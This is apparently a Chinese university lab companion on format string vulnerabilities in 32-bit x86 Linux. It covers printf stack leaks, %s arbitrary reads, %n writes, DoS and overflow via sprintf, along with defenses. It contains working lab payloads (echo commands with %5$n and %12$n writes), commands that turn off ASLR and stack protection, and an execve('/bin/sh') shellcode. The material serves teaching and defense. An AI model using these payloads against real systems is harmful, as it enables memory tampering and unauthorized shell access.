格式化字符串漏洞 · 从"看不懂 %n"到"能自己算 payload"

配套《第2讲 软件安全 2-2》课件 · 全程 32 位 x86 / Linux / cdecl 调用约定

printf 可变参数栈布局%08x 泄露%s 任意读 %n 任意写%[n]c 控制数值DoS二次溢出防御

0先搞懂一句话(这一节是整章的地基)

printf 的第一个参数不是"要打印的文字",而是一段"程序"。

里面的 % 是指令:%d 的意思是"去栈上取 4 个字节,当整数打印出来"。而 printf 在执行时完全不知道你到底传了几个参数,它只是一边读这段"程序",一边从栈上按顺序取。

0.1 先看正常情况:% 是"指令",不是文字

/* demo0.c —— 建立正确认知 */
#include <stdio.h>
int main(void){
    int i = 5, a = 10;
    printf("[1] Number %d has no address, number %d has: %08x\n", i, a, &a);
    printf("[2] 折扣 100%%\n");      /* 想打印一个真正的 '%' 字符,必须写 %% */
    return 0;
}

编译运行:

gcc -m32 demo0.c -o demo0 && ./demo0

[1] Number 5 has no address, number 10 has: 0xbfffebf4
[2] 折扣 100%

逐条解释:

0.2 关键问题:printf 到底知不知道你传了几个参数?

不知道。一个字都不知道。

看它的声明:int printf(const char *format, ...); —— 那个 ...(省略号)在 C 语言里叫可变参数。编译后的机器码里既没有参数个数,也没有参数类型,只有一串连续的 4 字节值躺在栈上。

printf 唯一的信息来源,就是 format 这个字符串本身。

printf 内部(glibc 里真正干活的叫 vfprintf)做的事,简化成模型是这样的:

/* printf 的极简模型 —— 说明它为什么不做检查 */
#include <stdarg.h>
void my_printf(const char *fmt, ...){
    va_list ap;                 /* ap = "参数指针",指向栈上某个位置 */
    va_start(ap, fmt);          /* 让 ap 指向 fmt 后面的第 1 个参数 */

    for (const char *p = fmt; *p; ){
        if (*p != '%') { putchar(*p++); continue; }   /* 普通字符:原样输出 */
        p++;                                            /* 跳过 '%' */
        switch (*p++) {
        case 'd': print_int( va_arg(ap, int)     ); break;  /* 掏4字节,ap += 4 */
        case 'x': print_hex( va_arg(ap, unsigned) ); break;  /* 掏4字节,ap += 4 */
        case 's': print_str( va_arg(ap, char*)   ); break;  /* 掏4字节,当地址去读 */
        case 'n': *(int*)va_arg(ap, int*) = 已输出字符数; break; /* 掏4字节,往里写! */
        }
    }
    va_end(ap);
}

只要把上面这段读懂,整章就通了。

va_arg(ap, 类型) 的含义就是:从 ap 现在指着的地方取走 4 个字节,然后 ap 往后挪 4。

它没有任何"还剩几个参数"的检查。整个循环完全由格式串里的 % 驱动 —— 格式串说要 5 个,它就掏 5 个;哪怕你一个都没传,它也照掏不误,掏的是后面别人的数据。

0.3 用代码亲眼看一次"不匹配"会怎样

/* demo1.c —— 多给 vs 少给 */
#include <stdio.h>
int main(void){
    printf("[A] %d\n", 1, 2, 3);        /* 多给了 2 个 */
    printf("[B] %d %d %d\n", 1, 2);     /* 少给了 1 个 → 未定义行为 */
    return 0;
}
[A] 1                    ← 多余的 2、3 被安静地忽略,无害
[B] 1 2 134520896          ← 第三个是"借"来的栈上垃圾,每次运行都可能不同

注意 [B]:它没有报错、没有崩溃,只是老实巴交地把栈上紧跟着的 4 个字节打印了出来。这就是信息泄露 —— 而且是完全静默的。

严格说这属于 C 语言的未定义行为(UB),但现实中它稳定地"读出栈上后面的内容",所以可以被稳定利用。

0.4 漏洞现场:格式串来自用户

前面讨论的都是"程序员写死格式串"的情况。真正的漏洞长这样:

/* demo2.c —— 漏洞就是这个形状 */
#include <stdio.h>
void log_line(const char *user){
    printf("[LOG] ");
    printf(user);       /* ☠ 漏洞点:user 是别人给的,却被当成"格式程序"执行 */
    printf("\n");
}
int main(void){
    log_line("alice");                        /* 正常:没有 %,就只是普通文字 */
    log_line("%08x.%08x.%08x.%08x");          /* 攻击者:读栈 */
    log_line("%s%s%s%s%s%s%s");               /* 攻击者:崩溃 */
    return 0;
}
[LOG] alice
[LOG] bfffebf4.0000000a.00000005.08048568   ← 栈上的内存被打印出来了
[LOG] Segmentation fault (core dumped)      ← 进程挂了

三行输出的差别,只在于 user 的内容 —— 代码一行没改。这就是漏洞的本质:攻击者获得了"写 printf 指令"的权力。

修复只有一句:格式串必须是程序员写死的常量,用户输入永远只当数据。

printf("%s", user);   /* 现在 user 里的 '%' 只是一个普通字符,永远不会被当成指令 */

为什么这就安全了?因为现在 printf 拿到的格式串是常量 "%s",里面只有一条指令"取一个字符串参数并打印",user 是被打印的数据,它里面的 %n 只是四个普通字符,不会被二次解析。

0.5 三种危害等级(记住这张表,后面全是它的展开)

攻击者在 user 里写printf 会做什么后果
%x %p %d把栈上的值读出来打印信息泄露:地址、canary、密码
%s把栈上的值当地址,去那个地址读字符串任意读 或 崩溃(DoS)
%n把栈上的值当地址,把"已输出字符数"写进去任意写:改变量、改返回地址 → 拿 shell

把整章串成一句话:

因为 printf 不知道参数个数(0.2)→ 它会顺着栈一直往后掏(0.3)→ 如果格式串是用户控制的(0.4),用户就能指定"掏什么、按什么方式解释" → 于是从看到读再到写,一步步升级(0.5)。

0.6 危险函数清单(凡是有"格式串"三个字的都算)

☠ 危险写法✅ 安全写法
printf(user)printf("%s", user)
fprintf(stderr, user)fprintf(stderr, "%s", user)
sprintf(buf, user)snprintf(buf, sizeof(buf), "%s", user)
syslog(LOG_INFO, user)syslog(LOG_INFO, "%s", user)
err(1, user) / warn(user)err(1, "%s", user) / warn("%s", user)

家族成员:printf / fprintf / sprintf / snprintf / vprintf / vfprintf / vsprintf / vsnprintf / syslog / err / warn / errx / warnx / setproctitle …

别以为 snprintf 就安全:它只保证不越界写。写成 snprintf(buf, n, user) 的话,格式串漏洞照样成立 —— 照样能读栈、照样能用 %n 写内存。"限长"和"格式"是两回事。

0.7 自己试一下:这段输入丢进 printf(user) 会怎样?

点"检查"看分析结果

编译器能帮你抓:gcc -Wformat -Wformat-security -D_FORTIFY_SOURCE=2 会对 printf(user) 这种"非字面量格式串"直接报警告;加上 -Werror=format-security 可以把它变成编译错误。这是最省钱的防御。

1printf 到底怎么干活

int printf(const char *format, ...);
printf("Number %d has no address, number %d has: %08x\n", i, a, &a);

printf 内部是一个逐字符扫描的循环:

  1. 读到普通字符(N、u、m…)→ 原样复制到输出缓冲区。
  2. 读到 % → 看后面那个字母决定"这次要取一个什么类型的参数",然后从当前参数指针位置取走 4 字节,参数指针往后挪一格。
  3. 格式串扫完 → 结束。它不会回头检查你到底给了几个参数。

常用说明符速查

写法含义取参数方式
%d有符号十进制整数取 4 字节,当整数打印
%u无符号十进制取 4 字节
%x / %08x十六进制(08=不足8位左边补0)取 4 字节
%p指针(16 进制)取 4 字节
%c字符取 4 字节,只输出最低 1 字节对应的 ASCII 字符
%s字符串取 4 字节当地址,去那个地址读到 \0 为止
%n不输出,反而写入取 4 字节当地址,把"目前已输出的字符总数"写进去
%10d宽度 10不够 10 位左边补空格;超过就按实际位数
%2$d位置参数直接取第 2 个参数(跳过中间的)
%hn半字写入写 2 字节(实战常用,见第 6 节)

printf("%2$d", 10, 20, 30) → 输出 20。

2参数到底在栈的哪里(课件"补充讲解"那几页)

x86 32 位 + cdecl:参数从右往左依次 push,然后 call 再把返回地址压进去。所以进到 printf 时,栈长这样(下面每行 4 字节):

高地址… main 的局部变量 / 调用者栈帧 …
0xbfffebe40xbfffebf4← 第3个参数 &a(a 的地址)
0xbfffebe00x0000000a← 第2个参数 a
0xbfffebdc0x00000005← 第1个参数 i
0xbfffebd80x08048568← format 串的地址
0xbfffebd40x080484a1← RET 返回地址
低地址… printf 自己的栈帧 …

课件里那个"?":0xbfffebe8 为什么不等于 0xbfffebf4?

这俩是两码事:
· 0xbfffebf4 是 main 里局部变量 a 的真实地址(也就是 &a 这个值);
· 0xbfffebe8 是 printf 参数区里"存放 &a 这一格"的地址。

你在 gdb 里 x/wx 0xbfffebe8,看到的内容正是 0xbfffebf4。就像"抽屉的编号"和"抽屉里放的钥匙"不是一回事。

call printf 之前那 4 个 push 在干嘛? —— 按从右往左的顺序把参数压栈:

lea  edx,[ebp-0x8]   ; 取 a 的地址
push edx             ; ④ &a 入栈
mov  eax,[ebp-0x8]
push eax             ; ③ a 的值入栈
push dword [ebp-0x4] ; ② i 的值入栈
push 0x8048568       ; ① 格式串地址入栈
call printf

3交互演示:参数没给够,printf 去哪儿拿?

下面这个模拟器就是漏洞现场。左边是格式串,右边是栈。点"单步执行",看 printf 怎么一格一格往后掏参数 —— 掏到没有参数的地方,就把别人的数据掏出来了。

当前扫描位置
程序输出

结论:参数不够时 printf 不会报错,它顺着栈往高地址继续掏。掏出来的可能是上一个函数的局部变量、保存在栈上的寄存器、某个指针、甚至是格式串本身的内容。这就是信息泄露。

所以 printf("%08x.%08x.%08x.%08x") 会输出什么?

输出的不是字面量,而是栈上 4 个格子里的值,每个按 8 位十六进制补零打印,例如:

bfffebf4.0000000a.00000005.08048568

课件里那张 ASCII 表(%=0x25、0=0x30、8=0x38、x=0x78)是提醒你:格式串本身也是以字节形式存在栈上的,所以它能被自己读到。

4从"泄露"升级到"任意读":把地址塞进格式串

想读任意地址的内容,需要凑齐两件事:

① 一个"把参数当地址"的说明符
%s —— 从栈上取 4 字节当地址,打印那个地址处的字符串。
② 能把地址放到栈上
格式串本身(buf)就在栈上 → 直接把地址写进格式串里。

剩下的问题只是:"怎么让参数指针正好停在我塞进去的那个地址上":

printf("\x1f\x01\xff\xbf_%08x.%08x|%s|");
//       ↑ 目标地址0xbfff011f   ↑ 用 %08x 把指针"空转"两步   ↑ 到站,读!

那个 _ 是干嘛的? 地址占 4 字节,栈是按 4 字节对齐读的。补 1 个填充字符,让这 4 字节地址正好落在某一格的开头,%s 才会精准取到它。不对齐就读歪了。

更省事:位置参数 %M$s

不用数 %08x 的个数,直接说"我要第 3 个参数":

printf("\xaa\xbb\xcc\xdd%3$s");

  栈(从参数1开始数):
  [ RET ][ fmt ][ a1 ][ a2 ][ \xaa\xbb\xcc\xdd%3$s ]
                 (1)   (2)   (3)  ← fmt 本身所在的缓冲区
        └────────────────────────────┘
        %3$s 直接跳到第3格 → 取到 0xddccbbaa 当地址 → 打印它指向的字符串

一句话记法:%M$s = "把我塞进去的第 M 个 4 字节当地址,把那里的字符串打出来"。位置参数只是"移动参数指针"的语法糖,本质和堆 %08x 完全一样。

课件那个实例:printf("\x1f\x01\xff\xbf_%08x.%08x.%08x.%08x.%08x|%s|") 打出了 "Invalid Password!!!" —— 内存里的敏感字符串被偷出来了。注意课件特意标了 I n v a → 49 6e 76 61,而实际内存是 61 76 6e 49,这就是 x86 小端序。

5核心难点:%n —— 不是打印,是写入

%n 不产生任何输出。它做的事是:把"到 %n 为止,printf 已经输出的字符总数",写进对应参数所指的那个地址(32 位下写 4 字节)。

printf("1234%n", &len);   // 屏幕输出 "1234",同时 len = 4

课件那个 canary 例子(一次写 1 字节的 trick)

unsigned char canary[5];
unsigned char foo[4];
memset(foo, '\x00', sizeof(foo));
strcpy(canary, "AAAA");

printf("%16u%n",  7350, (int*)&foo[0]);  // 已输出16 → foo[0] = 16  = 0x10
printf("%32u%n",  7350, (int*)&foo[1]);  // 已输出32 → foo[1] = 32  = 0x20
printf("%64u%n",  7350, (int*)&foo[2]);  // 已输出64 → foo[2] = 64  = 0x40
printf("%128u%n", 7350, (int*)&foo[3]);  // 已输出128→ foo[3] = 128 = 0x80

printf("foo: %02x%02x%02x%02x\n",    foo[0],foo[1],foo[2],foo[3]);
printf("canary: %02x%02x%02x%02x\n", canary[0],canary[1],canary[2],canary[3]);
foo: 10204080 canary: 00000041

为什么 canary 变成了 00 00 00 41?

因为 canary 紧跟在 foo 后面(foo[4] + canary[5] 连续)。%n 是一次写 4 个字节的,不是 1 个字节!

所以最后那句 printf("%128u%n", &foo[3]) 从 foo[3] 开始写 0x80 0x00 0x00 0x00(小端,128=0x00000080)→ 把 foo[3] 写成 0x80,然后顺手踩掉了 canary[0..2],全写成了 0x00。

原来 canary 是 41 41 41 41 00("AAAA"+"\0"),被踩之后只剩最后一个 41 在 canary[3] 位置 → 打印 00 00 00 41。

这正是"格式化字符串能越界写"的直观证据。

把 %n 用到攻击上:任意地址写

printf("\xaa\xbb\xcc\xdd%3$n");

  [ RET ][ fmt ][ a1 ][ a2 ][ \xaa\xbb\xcc\xdd%3$n ]
                 (1)   (2)   (3)
        └──────────────────────┘
        等价于 printf("...%3$n", _, _, 0xddccbbaa)
        → 往 0xddccbbaa 写入"当前已输出的字符数"

这里的"当前已输出字符数" = 前面那 4 个字节的地址本身 = 4。所以效果是 *(int*)0xddccbbaa = 4。

任意读 → 任意写,只差一个字母:%3$s 改成 %3$n。读和写用的是同一套"把地址塞进格式串 + 移动参数指针"的套路,区别只在最后一个说明符是"读"还是"写"。

6写"任意数值":%[n]c%n

现在能写了,但只能写 4(地址的那 4 个字节)。想写别的数,就得控制"已输出字符数"。杠杆是宽度修饰符:

printf("\xaa\xbb\xcc\xdd%6c%3$n");
//              ↑ 宽度6:输出一个占6字符宽的东西(左边补空格)
// 已输出 = 4(地址) + 6 = 10
// → *(int*)0xddccbbaa = 10

通用公式:写入的值 = 地址占的 4 字节 + %nc 里的 n,即 n = 目标值 − 4。

Payload 计算器(自己动手试)
点"生成"看结果

现实问题:要写 0x0804a010(134520848) 怎么办? 那就得真输出 1.3 亿个字符……不现实。

真实 exploit 的做法:
· 用 %hn(写 2 字节)或 %hhn(写 1 字节),把一个 4 字节地址拆成 2~4 次写;
· 每次写的数值变小 → 输出量可控;
· 而且 n 可以叠加:第二次写的值 = 前面所有输出之和,所以写第二个 2 字节时用"差值"即可。
课件里只讲一次写 4 字节的最简模型,先理解原理就行。

7课件上的两道课堂答题

课堂答题 1:执行 echo -e "\x88\xec\xff\xbf%61c%5$n" 之后,程序里的 secret 输出什么?为什么是 'A'?

%61c 让输出宽度变成 61,加上最前面地址 \x88\xec\xff\xbf 占的 4 个字符:

已输出字符数 = 4 + 61 = 65

%5$n 把 65 写进第 5 个参数(也就是地址 0xbfffec88)指向的内存。写入 4 字节、小端序:

65 00 00 00   → 0x00000041 → 十进制 65 → ASCII 'A'

所以 secret 那块内存变成了 0x41,按字符串打印出来就是 "A"。

反过来推:想写 'A'(65),n = 65 − 4 = 61。这就是课件给的 %61c。

课堂答题 2:内存里是 1111,要改成 11A1,%[n]c 里的 n 取多少?

"1111" 四个字节的 ASCII = 31 31 31 31;"11A1" = 31 31 41 31。

用 %n 一次写 4 字节,得把这 4 字节整体当一个 little-endian 的 32 位整数看:

内存字节(低→高):  31  31  41  31
写成 dword     : 0x31413131
             = 3×16⁷ + 1×16⁶ + 4×16⁵ + 1×16⁴ + 3×16³ + 1×16² + 3×16¹ + 1×16⁰
             = 826356017

再减去地址本身占掉的 4 个字符:

n = 826356017 − 4 = 826356013

所以 payload 是 echo -e "\x88\xec\xff\xbf%826356013c%5$n"。

两个提醒:① 课件上算出来的数 826356013 其实是已经减过 4 的 n,而按上面展开式严格算 dword 值应是 826356017 —— 注意区分"要写的值"和"n"。② 现实中这么大的 n 会输出 8 亿多个字符,不可行;实战用 %hhn 逐字节写,每次最多 255。

课堂遗留问题:echo "%c" | ./qiang 为什么会输出一个 "d"?

程序里只有 %c 和 %n 会被格式化处理;%n 不产生输出,所以屏幕上那个字符只能是 %c 干的。

%c 的行为:从参数指针位置取 4 字节整数,只把最低那个字节当 ASCII 码输出。

那 4 字节里恰好是残留数据 0x64:

0x64 = 100 = ASCII 'd'

课件那张栈图上标的位置 0x 64 就是这个残留值(前面跑 echo "AAAA1=%p|2=%p…" 时在栈上留下的痕迹)。printf 又不会去检查参数是不是垃圾 —— 给它什么它就打什么。

8最省事的攻击:DoS(搞崩溃)

int func(char *user) { fprintf(stdout, user); }

如果 user = "%s%s%s%s%s%s%s":

  1. 每个 %s 都从栈上取 4 字节当地址;
  2. 栈上大部分值不是合法的可读地址(可能是整数、返回地址、随机的栈垃圾);
  3. printf 去访问这些地址 → SIGSEGV,进程崩溃。

修复:fprintf(stdout, "%s", user); —— 让用户输入永远当"数据",不当"格式"。

9进阶:用格式化字符串"制造"缓冲区溢出

这是 QPOP 2.53 / bftpd 的真实漏洞模式,课件重点讲了。看这段代码:

char outbuf[512], errmsg[512];
sprintf(errmsg, "Err Wrong command: %400s", user);  // ① 看起来安全:限制了 400
sprintf(outbuf, errmsg);                             // ② 致命:errmsg 被当格式串!

① 里 %400s 确实把 user 截到 400 字符,加上前缀 19 字符 = 419,塞进 512 的 errmsg 没问题。

但 ② 把 errmsg 当成了格式字符串!于是 user 里的 % 又活了过来 → 变成了格式化字符串漏洞。

算一下怎么溢出

user = "%497d\x3c\xd3\xff\xbf<nops><shellcode>"

errmsg = "Err Wrong command: " (19字符) + %497d 展开的 497 个字符 = 516 字符
                                                    ↓ 写进 outbuf(512)
                                              516 = 512 + 4  ← 正好多 4 字节!

多出来的 4 字节越过 outbuf 边界,覆盖到保存的 ebp / 返回地址,于是变成一次普通栈溢出攻击,跳转到 NOP 雪橇 + shellcode。

NOP 的作用? —— NOP 雪橇(NOP sled)。恶意代码的地址不可能 100% 算准,用一大片 0x90(NOP) 铺在 shellcode 前面,只要返回地址落在这一片 NOP 中的任意位置,CPU 就会一路"滑行"到真正的 shellcode。大幅提高命中率。

这一节的思路很值得记住:格式化字符串漏洞不只是"读写内存",它还能绕过长度检查、制造溢出——因为 %497d 这种"宽度"本质上是在凭空生成输出,程序员以为限定了输入长度,其实输出长度被攻击者接管了。

10防御机制

措施挡住了什么怎么被绕(课件提到)
正确写法
printf("%s", user)
从根上消除漏洞—(最有效)
Canary(栈金丝雀)栈溢出覆盖返回地址先用格式化串读出 canary 值,溢出时再原样写回;
canary 每次运行随机则难度陡增
ASLR硬编码地址先 dump 内存泄露 secret(如 libc 基址)再算;
但地址下次运行会变 → 攻击失效。
等级:0 关 / 1 栈、共享库随机(堆不变)/ 2 堆也随机
DEP / NX在栈上执行 shellcode改走 ROP(用已有代码片段拼)

编译期也帮忙:gcc -Wformat -Wformat-security -D_FORTIFY_SOURCE=2 会对 printf(user) 这类写法直接报警告/报错。

11顺带:溢出家族(课件后半段)

栈溢出(实验环境)

为了能复现,要先把保护全关:

gcc -fno-stack-protector -z execstack -g -o stack stack.c
sudo sysctl -w kernel.randomize_va_space=0
sudo chown root stack && sudo chmod 4755 stack  # chown会清suid,注意顺序

Task A:gdb 找 buf 地址和 ebp,距离 = 108,返回地址 = ebp+4 → 偏移 112。
Task B:猜 shellcode 地址(关了 ASLR 后栈起始固定),用 NOP 雪橇兜底。

Shellcode 要干什么

目标:execve("/bin/sh", argv, 0) 拿一个 shell。

eax = 0x0b (11)   ; execve 系统调用号
ebx = "/bin/sh" 的地址
ecx = argv 数组地址  ; argv[0]="/bin/sh", argv[1]=0
edx = 0
int 0x80

关键约束:机器码里不能含 \x00,否则会被 strcpy 截断。

堆溢出

char *buf1 = malloc(16);
char *buf2 = malloc(16);
while((*(buf1+i)=getchar())!=EOF) i++;  // 无边界

buf1 写穿 → 踩到 buf2 的数据,或踩到堆块管理头(fd/bk 指针)→ 可劫持 unlink 实现任意写。目标是"敏感数据"而非返回地址。

BSS 溢出

static 变量放 BSS 段,不在栈上,所以 canary 管不着。

两种打法:

  • 覆盖 static char *tmpfile → 程序去写攻击者指定的文件(如 /etc/passwd)
  • 覆盖 static int (*funcptr)(const char*) → 劫持函数指针,直接控制执行流

12课程代码实战(codes-share-to-class)

课件里出现的每个例子,都能在 codes-share-to-class/codes-share-to-class/ 里找到源码。建议按下面顺序自己跑一遍。

① 先准备环境(每个实验都要)

sudo sysctl -w kernel.randomize_va_space=0      # 关 ASLR,地址才固定
gcc -m32 -fno-stack-protector -z execstack -g -o qiang qiang.c

② 代码地图

文件干什么对应课件哪一页
formattingString/write.c%n 一次写 4 字节,踩坏 canary"%n" / foo:10204080
formattingString/dumpStack.c一串 %08x 把栈倒出来查看栈中数据
formattingString/test.c\x1f\x01\xff\xbf_%08x.%08x|%s| 任意读任意读
formattingString/qiang.c主实验:任意读 + 任意写 secret课堂答题 1 / 2
formattingString/str_fmt_attack.c真实的"密码错误回显"漏洞内存数据窃取与篡改
formattingString/int_fmt_attack.c改 unsigned int 型的 secretprintf("Modify the memory: %n")
formattingString/savedparameters.cgdb 看 printf 参数在栈上的位置补充讲解 / 四个 push
bufferoverflow/stack.c + stack_exploit.py标准栈溢出拿 shellBuffer Overflow 举例
bufferoverflow/shellcode.cexecve("/bin/sh") 的机器码Shellcode 举例

③ 主实验 qiang.c —— 五步走查

char buf[100];
char secret[100] = "111122223333";
printf("address of secret is at %p\n", secret);  // ① 把 secret 地址告诉你
fgets(buf, sizeof(buf), stdin);
printf(buf);                                    // ② 漏洞点!用户输入当格式串

关键:那个 %5$ 里的 5 是哪来的?

不是算出来的,是试出来的。因为 printf 的参数区紧挨着 main 的栈帧,你的 buf 落在第几个参数位置,取决于编译器、代码、栈布局 —— 换台机器可能就变了。所以标准手法是先用 AAAA 打标:

echo -e "\x41\x41\x41\x41%p|%p|%p|%p|%p|%p|%p|%p" | ./qiang
# 看哪一格输出 0x41414141 —— 本例是第 5 个 → 以后就用 %5$

echo "AAAA1=%p|2=%p|3=%p|4=%p|5=%p|6=%p" | ./qiang   # 带编号,更直观
Step 1 · 确认能控制
echo -e "\x88\xec\xff\xbf%5$p" | ./qiang

输出 0xbfffec88(你塞进去的地址被原样打印)→ 说明参数指针能走到你塞的数据上。

Step 2 · 任意读
echo -e "\x88\xec\xff\xbf%5$s" | ./qiang

把地址处的内容当字符串打印 → 读出 111122223333。读和写只差一个字母。

Step 3 · 任意写(写 4)
echo -e "\x88\xec\xff\xbf%5$n" | ./qiang

地址本身占 4 个字符 → 写入 4。secret 前 4 字节变成 04 00 00 00。

Step 4 · 写指定值('A'=65)
echo -e "\x88\xec\xff\xbf%61c%5$n" | ./qiang

4 + 61 = 65 → 写入 0x00000041 → secret 变成 "A111223333"。

Step 5 · 111122223333 → 11A122223333(源码注释里就有答案):

echo -e "\x88\xec\xff\xbf%826356013c%5$n" | ./qiang

"1111" = 31 31 31 31;"11A1" = 31 31 41 31 → 小端 dword = 0x31413131 = 826356017; 减掉地址占的 4 → n = 826356013。

④ str_fmt_attack.c —— 有一个容易踩的坑

void handle_failure(char *buf) {
  char msg[100];
  snprintf(msg, sizeof(msg), "Invalid Password!!! %s\n", buf);
  printf(msg);        // ← 漏洞在这
}

坑:你的 payload 前面被自动加了 "Invalid Password!!! " 共 20 个字符。

所以 %n 写入的值 = 20 + 4(地址) + n,而不是 4 + n。算 payload 时必须把前缀算进去:

echo 'AAAA%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p' | ./str_fmt_attack   # 先探测偏移
echo $(printf "\x38\xa0\x04\x08")%12$n        | ./str_fmt_attack  # 写入 20+4   = 24
echo $(printf "\x38\xa0\x04\x08")%10c%12$n   | ./str_fmt_attack  # 写入 20+4+10 = 34

另外注意这里偏移是 %12$ 不是 %5$ —— 再次说明偏移量一定要自己探。用 echo $(printf ...) 而不是 echo -e 是因为不同 shell 的 -e 行为不一致。

⑤ 栈溢出 + shellcode 逐条拆解

stack.c 漏洞点
char buffer[100];
strcpy(buffer, str);  // str 最长 300 → 溢出

gdb 实测:&buffer = 0xbfffea2c,ebp = 0xbfffea98,差 108;返回地址在 ebp+4 → 偏移 112。

stack_exploit.py 的构造:content[112:116] = ret(小端),前面 300 字节全填 0x90(NOP),shellcode 放最末尾。

shellcode 机器码拆解
31 c0        xor    eax,eax        ; eax = 0
50           push   eax            ; 字符串结尾 \0
68 2f 2f 73 68 push  "//sh"
68 2f 62 69 6e push  "/bin"
89 e3        mov    ebx,esp        ; ebx → "/bin//sh"
50           push   eax            ; argv[1] = NULL
53           push   ebx            ; argv[0]
89 e1        mov    ecx,esp        ; ecx → argv
99           cdq                   ; edx = 0  (envp=NULL)
b0 0b        mov    al,0x0b        ; execve = 11
cd 80        int    0x80           ; 发起系统调用

两条硬约束:① 机器码里不能有 \x00,否则 strcpy 会截断(所以 xor eax,eax 而不是 mov eax,0);② 用 //sh 补到 4 字节对齐。

13自测:8 道题检验一下

根据《第2讲 软件安全 2-2》课件整理 · 所有栈地址和数值为示例值,理解原理即可